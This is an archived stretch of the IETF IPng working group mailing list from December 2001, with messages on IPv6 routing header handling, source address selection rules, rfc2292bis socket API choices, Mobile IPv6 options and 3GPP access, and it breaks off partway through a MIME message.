To: Pekka Savola Cc: Robert Elz , Erik Nordmark , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In may opinion ( already stated about 2 months ago) there are really no problems with Routing Headers. I am really thinking about this in terms of forwarding. If while processing the routing header, I have to forward the packet off the node, then all the "router" rules apply (i.e I have to have forwarding enabled). If the packet is forwarded to the same node (looped back), then I am not really forwading this, and the node consumes the packet. We don't needlessly drop packets, MIPv6 is happy, and there are no holes that I can see (I may be blind though:) -vlad Pekka Savola wrote: > > On Wed, 12 Dec 2001, Robert Elz wrote: > > Date: Tue, 11 Dec 2001 19:05:37 +0100 (CET) > > From: Erik Nordmark > > Message-ID: > > > > | It isn't obvious to me from reading RFC 2460 whether a host can drop packets > > | with routing headers instead of resubmitting them for transmissing to the > > | next hop. > > > [snip] > > There is though a different, related, question - one where what 2460 says > > is applicable ... that is whether a host implementation should simply drop > > packets containing source routes, rather than forwarding them. > > > > Here we get the questions of the conformance of the implementation to the > > spec. > > > > And there I think the answer is a clear no - implementations are required > > to be at least capable of processing routing headers (even in hosts). > > The last sentence IMO doesn't answer the real question. > > I think it's quite clear that all nodes must support routing headers, that > is, recognize the header type, be able to parse it, not send ICMP > parameter problem packets back to the source, etc. > > The real question how one processes a datagram with a routing header when > the forwarding of routing headers has been disabled. This issue is not > mentioned in the specification (one could argue it should not be). > > The options basically are: > > 1) ignore the routing header, that is, act like segments left would have > been = 0 > 2) drop the packet silently > 3) drop the packet and send back an ICMP message > - with some already defined type/code > - with some new type/code > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 14:45:10 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCMjAvU028855 for ; Wed, 12 Dec 2001 14:45:10 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCMjAqR028854 for ipng-dist; Wed, 12 Dec 2001 14:45:10 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCMj7vU028847 for ; Wed, 12 Dec 2001 14:45:07 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA21736 for ; Wed, 12 Dec 2001 14:45:09 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA29214 for ; Wed, 12 Dec 2001 15:45:08 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBCMixI01088; Wed, 12 Dec 2001 23:44:59 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id XAA07169; Wed, 12 Dec 2001 23:45:00 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBCMixD25825; Wed, 12 Dec 2001 23:44:59 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112122244.fBCMixD25825@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Soininen Jonne (NET/MtView)" cc: "Margaret Wasserman" , ipng@sunroof.eng.sun.com Subject: Re: draft-wasserman-3gpp-advice-00.txt In-reply-to: Your message of Wed, 12 Dec 2001 13:32:51 PST. <4D7B558499107545BB45044C63822DDE2FDFC2@mvebe001.NOE.Nokia.com> Date: Wed, 12 Dec 2001 23:44:59 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: see my comments bellow: > => the point of connection to the Internet is not the GGSN, but is > a Network Access Server of an ISP. As ISPs need network access control > (AAA with a stress on the last A :-), the stupid already used solution > is the ADSL one (ADSL has the same requirement for openness), > i.e. PPP. Actually this case was thought already in the early stages of GPRS standardization. The idea could be also that the GGSN would be connected to a company intranet (directly), and the intranet would like to authenticate the user instead of the subscription to the mobile network, which is done by SIM authentication. Actually, it is possible to authenticate the user with PPP even without using the PDP Type PPP. In this case, there is a PPP connection between e.g. the laptop and the mobile phone, but PPP does not go across the air interface. The needed information for performing the authentication is transferred in the PDP Context Activation messages in the protocol configuration options to the GGSN. Then a protocol can be used to give the credentials to the network authenticated to, e.g. Radius. I cannot remember from the top of my head in which document this is, but I can look it up. However, I would not see this as an issue to our document but to 3GPP. 3GPP has to see itself if they are compliant with individual regulatory requirements. I would not think this as a task of the IPv6 WG. => this is a typical example of how some 3GPP people don't want to understand that most of us just like to use the 3GPP stuff in order to transport the traffic only... But I am not afraid, regulation bodies will explain again the meaning of the word "open" and will get what we'd like one day (:-). I think I am somehow missing your point in this later extraction of your mail. As you say these options are available in the standards. => exactly. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 14:58:29 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCMwSvU028929 for ; Wed, 12 Dec 2001 14:58:28 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCMwSRZ028928 for ipng-dist; Wed, 12 Dec 2001 14:58:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCMwRvU028921 for ; Wed, 12 Dec 2001 14:58:27 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBCMw1NE022118 for ; Wed, 12 Dec 2001 14:58:01 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBCMw17O022117 for ipng@sunroof.eng.sun.com; Wed, 12 Dec 2001 14:58:01 -0800 (PST) Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCMopvU028866 for ; Wed, 12 Dec 2001 14:50:52 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBCMohq25871; Wed, 12 Dec 2001 23:50:43 +0100 (MET) Date: Wed, 12 Dec 2001 23:48:53 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: proposal for text change in source address selection To: Alain Durand Cc: ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <5.1.0.14.0.20011211122752.00b19f00@jurassic.eng.sun.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Proposed test: > > Rule 8: Use longest matching prefix. > If CommonPrefixLen(SA, D) > CommonPrefixLen(SB, D), then choose SA. > Similarly, if CommonPrefixLen(SB, D) > CommonPrefixLen(SA, D), then > choose SB. > > Rule 8 may be superseded if the implementation has other means of > choosing among source addresses. For example, if the implementation > somehow knows which source address will result in the "best" > communications performance. > > Also, an implementation that has knowledge of the prefix lengths > associated to the candidate source addresses MAY choose to > limit longest prefix match to those particular prefix lengths instead > of doing it on the full 128 bits. I think the above description is insufficient for an implementor to understand what the implementor might optionally do. Thus I'm concerned that folks will read this and do something quite different than we intend. > Rule 9: optional tie breaker > > If the above rules failed to choose a source address, an implementation > MAY > either decide to pick a candidate source address randomly or to take the > smallest one in the lexicographic order. This rule is optional. I don't understand the problem this is trying to solve. I thought there was an argument (and perhaps not agreement) that predictable behavior (having a single host? all hosts with the same configuration?) pick the same source address for a given destination. The above doesn't solve that problem. So what problem is it trying to solve? Confused, Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 16:19:18 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD0JIvU029100 for ; Wed, 12 Dec 2001 16:19:18 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBD0JIaa029099 for ipng-dist; Wed, 12 Dec 2001 16:19:18 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD0JHvU029092 for ; Wed, 12 Dec 2001 16:19:17 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBD0IqNE022300 for ; Wed, 12 Dec 2001 16:18:52 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBD0Iqj2022299 for ipng@sunroof.eng.sun.com; Wed, 12 Dec 2001 16:18:52 -0800 (PST) Received: from jurassic.eng.sun.com (jurassic [129.146.89.31] (may be forged)) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCN8IvU028939 for ; Wed, 12 Dec 2001 15:08:18 -0800 (PST) Received: from rouget.sun.com (vpn-129-150-5-77.EBay.Sun.COM [129.150.5.77]) by jurassic.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCN8HbG596655; Wed, 12 Dec 2001 15:08:18 -0800 (PST) Message-Id: <5.1.0.14.0.20011212150312.00bb6e08@jurassic.eng.sun.com> X-Sender: durand@jurassic.eng.sun.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Wed, 12 Dec 2001 15:08:24 -0800 To: Erik Nordmark From: Alain Durand Subject: Re: proposal for text change in source address selection Cc: ipng@sunroof.eng.sun.com In-Reply-To: References: <"Your message with ID" <5.1.0.14.0.20011211122752.00b19f00@jurassic.eng.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 11:48 PM 12/12/2001 +0100, Erik Nordmark wrote: > > Also, an implementation that has knowledge of the prefix lengths > > associated to the candidate source addresses MAY choose to > > limit longest prefix match to those particular prefix lengths instead > > of doing it on the full 128 bits. > >I think the above description is insufficient for an implementor to understand >what the implementor might optionally do. >Thus I'm concerned that folks will read this and do something quite different >than we intend. I'll send clearer text. > > Rule 9: optional tie breaker > > > > If the above rules failed to choose a source address, an implementation > > MAY > > either decide to pick a candidate source address randomly or to > take the > > smallest one in the lexicographic order. This rule is optional. > >I don't understand the problem this is trying to solve. >I thought there was an argument (and perhaps not agreement) that predictable >behavior (having a single host? all hosts with the same configuration?) >pick the same source address for a given destination. > >The above doesn't solve that problem. So what problem is it trying to solve? > >Confused, My recollection of the discussion is that some people think that predictability is a good think and other think that randomness is good. This text (maybe not very well formulated) intend to say "If you think that predictability is not a good think, order randomly the addresses, if you think predictability is a good thing, then here is a way to achieve it" - Alain. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 16:19:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD0JZvU029110 for ; Wed, 12 Dec 2001 16:19:35 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBD0JZdd029109 for ipng-dist; Wed, 12 Dec 2001 16:19:35 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD0JXvU029102 for ; Wed, 12 Dec 2001 16:19:33 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBD0J9NE022330 for ; Wed, 12 Dec 2001 16:19:09 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBD0J9pd022329 for ipng@sunroof.eng.sun.com; Wed, 12 Dec 2001 16:19:09 -0800 (PST) Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD0CSvU029057 for ; Wed, 12 Dec 2001 16:12:28 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBD0COq01780; Thu, 13 Dec 2001 01:12:25 +0100 (MET) Date: Thu, 13 Dec 2001 01:10:37 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: proposal for text change in source address selection To: Alain Durand Cc: Erik Nordmark , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <5.1.0.14.0.20011212150312.00bb6e08@jurassic.eng.sun.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > My recollection of the discussion is that some people think that > predictability is a good think and other think that randomness is good. > This text (maybe not very well formulated) intend to say > "If you think that predictability is not a good think, order randomly the > addresses, > if you think predictability is a good thing, then here is a way to > achieve it" But those are different implementors having different opinions, and it is up to the operators to deal with any issues relating to this. So I think we need to understand what the operational concerns, if any, are in this space. Do they prefer predictability across nodes i.e. all nodes in the site makes the same choice (assuming same config), that a single node always make the same choice, or that a single node randomly chooses. I can see operational arguments for either one, but I'm not an operator. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 18:19:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD2JmvU029271 for ; Wed, 12 Dec 2001 18:19:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBD2Jm8k029270 for ipng-dist; Wed, 12 Dec 2001 18:19:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD2JivU029263 for ; Wed, 12 Dec 2001 18:19:44 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA02948 for ; Wed, 12 Dec 2001 18:19:47 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA09121 for ; Wed, 12 Dec 2001 19:19:27 -0700 (MST) Received: from localhost ([3ffe:507:1ff:1:a5fb:df9e:46ff:b6cf]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBD2Jh304883 for ; Thu, 13 Dec 2001 11:19:43 +0900 (JST) Date: Thu, 13 Dec 2001 11:19:40 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: ipng@sunroof.eng.sun.com Subject: TCP implication of 2292bis(Re: I-D ACTION:draft-ietf-ipngwg-rfc2292bis-03.txt) In-Reply-To: References: <200111301856.KAA29712@feller.mentat.com> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 46 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Mon, 03 Dec 2001 14:24:23 +0900, >>>>> JINMEI Tatuya said: > An alternative candidate is to allow the stack to pass ancillary data > items even without TCP data (recvmsg() would then return 0 in such a > case.) With this approach, however, the application may not be able > to determine the termination of a connection. The traditional coding > style like > if ((n = recvmsg(s, &msghdr, 0)) == 0) > return(-1); /* end of the connection */ I've considered a bit more about this issue. Here is a comparison between those two approaches with pros and cons list: Pros and cons of using the (new) recvmsg() approach: pro: easy migration from 2292bis-02 (and before) applications pro: less impact on existing 2292bis-02 (and before) kernels con: hard migration from RFC 2292 applications con: impact on existing RFC 2292 kernels con: impact on the traditional socket semantics e.g. need additional condition to detect an end of connection (above) e.g. it is not clear what if the app calls shutdown(0) (i.e. makes the socket unreadable)? Should the reception of ancillary data also be disabled? Pros and cons of using the RFC2292-style socket option (described in the 03 draft): pro: easy migration from RFC 2292 applications pro: less impact on existing RFC 2292 kernels pro: less impact on the traditional socket semantics con: hard migration from rfc2292bis-02 (and before) applications con: impact on existing rfc2292bis-02 (and before) kernels So, apart from the impact on the socket semantics, this is a migration (or backward compatibility) issue. I'd like to know the current situation about the deployment of rfc2292bis-02 (or before), and opinions of implementors that have implemented or have a plan to implement RFC2292 and/or rfc2292bis. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 19:14:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD3EtvU029393 for ; Wed, 12 Dec 2001 19:14:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBD3EtVe029392 for ipng-dist; Wed, 12 Dec 2001 19:14:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD3EqvU029385 for ; Wed, 12 Dec 2001 19:14:52 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA17802 for ; Wed, 12 Dec 2001 19:14:53 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA08737 for ; Wed, 12 Dec 2001 19:14:44 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBD3EZI24484; Thu, 13 Dec 2001 04:14:36 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id EAA09402; Thu, 13 Dec 2001 04:14:35 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBD3EYD26870; Thu, 13 Dec 2001 04:14:35 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112130314.fBD3EYD26870@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Vijay Devarapalli cc: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-reply-to: Your message of Mon, 03 Dec 2001 11:24:22 PST. <3C0BD166.8CED30C7@iprg.nokia.com> Date: Thu, 13 Dec 2001 04:14:34 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: We implementors (I can speak for a few people) were quite happy with Home address option, BU option and IPSec (we made it work with Mobile IPv6), until things started going wrong from December 2000 IETF onwards. => I fully support Vijay's opinion (and we had firewall persons in our group). Thanks Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 19:37:13 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD3bDvU029482 for ; Wed, 12 Dec 2001 19:37:13 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBD3bDNP029481 for ipng-dist; Wed, 12 Dec 2001 19:37:13 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD3bAvU029474 for ; Wed, 12 Dec 2001 19:37:10 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA17725 for ; Wed, 12 Dec 2001 19:37:11 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA11284 for ; Wed, 12 Dec 2001 20:37:06 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBD3auI24965; Thu, 13 Dec 2001 04:36:56 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id EAA09514; Thu, 13 Dec 2001 04:36:56 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBD3atD26917; Thu, 13 Dec 2001 04:36:55 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112130336.fBD3atD26917@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Pekka Savola cc: "Jari T. Malinen" , Jari Arkko , ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-reply-to: Your message of Sat, 08 Dec 2001 09:06:37 +0200. Date: Thu, 13 Dec 2001 04:36:55 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: (about home address option definition (formal & behavior)) I have brought this up in mobile-ip@ but there wasn't any response... => this is not really true, there were many complains about the lack of good description of the home address option, e.g, something better than you can get in the sec-reqts 6.8.3 (:-)... Regards Francis.Dupont@enst-bretagne.fr PS: the processing is described in the security requirements section because of AH... -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 00:31:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD8VqvU029686 for ; Thu, 13 Dec 2001 00:31:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBD8Vqa5029685 for ipng-dist; Thu, 13 Dec 2001 00:31:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD8VnvU029678 for ; Thu, 13 Dec 2001 00:31:49 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA29761 for ; Thu, 13 Dec 2001 00:31:49 -0800 (PST) Received: from stsl.siemens.com.tw (stsl.siemens.com.tw [192.72.45.189]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA01699 for ; Thu, 13 Dec 2001 01:32:28 -0700 (MST) Received: from stslex.siemens.com.tw (stslex [140.231.62.94]) by stsl.siemens.com.tw (8.11.6/8.11.6) with ESMTP id fBD8Ww729544 for ; Thu, 13 Dec 2001 16:32:58 +0800 (CST) Received: by stslex.siemens.com.tw with Internet Mail Service (5.5.2653.19) id ; Thu, 13 Dec 2001 16:31:43 +0800 Message-ID: <92C0C0AC8AE8D411864300105A835CBB5016C5@stslex.siemens.com.tw> From: Moter Du To: ipng@sunroof.eng.sun.com Subject: demand for end-to-end communication? Date: Thu, 13 Dec 2001 16:31:43 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C183B0.9840C970" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C183B0.9840C970 Content-Type: text/plain; charset="big5" Hi, Can indirect communication (such as ICQ, MSN messenger, etc.) beats end-to-end communication? We've been saying for quite a long time how NAT (or others alike) disturbs end-to-end characteristic though it does slow IPv4 address consumption while Internet grows exponentially, and IPv6 would restore that back with its unexhaust space. But, does people really demand that characteristic? What if they have just stayed with where they live? For day-by-day communication (voice calls, video conferences, etc.), the indirect services seem have offered VoIP solutions without further consume scarce address space. I know indirect communication would expense double bandwidth. But, what if people just doesn't care? Moter ------_=_NextPart_001_01C183B0.9840C970 Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable demand for end-to-end communication?

Hi,

Can indirect communication (such as ICQ, MSN = messenger, etc.) beats end-to-end communication?

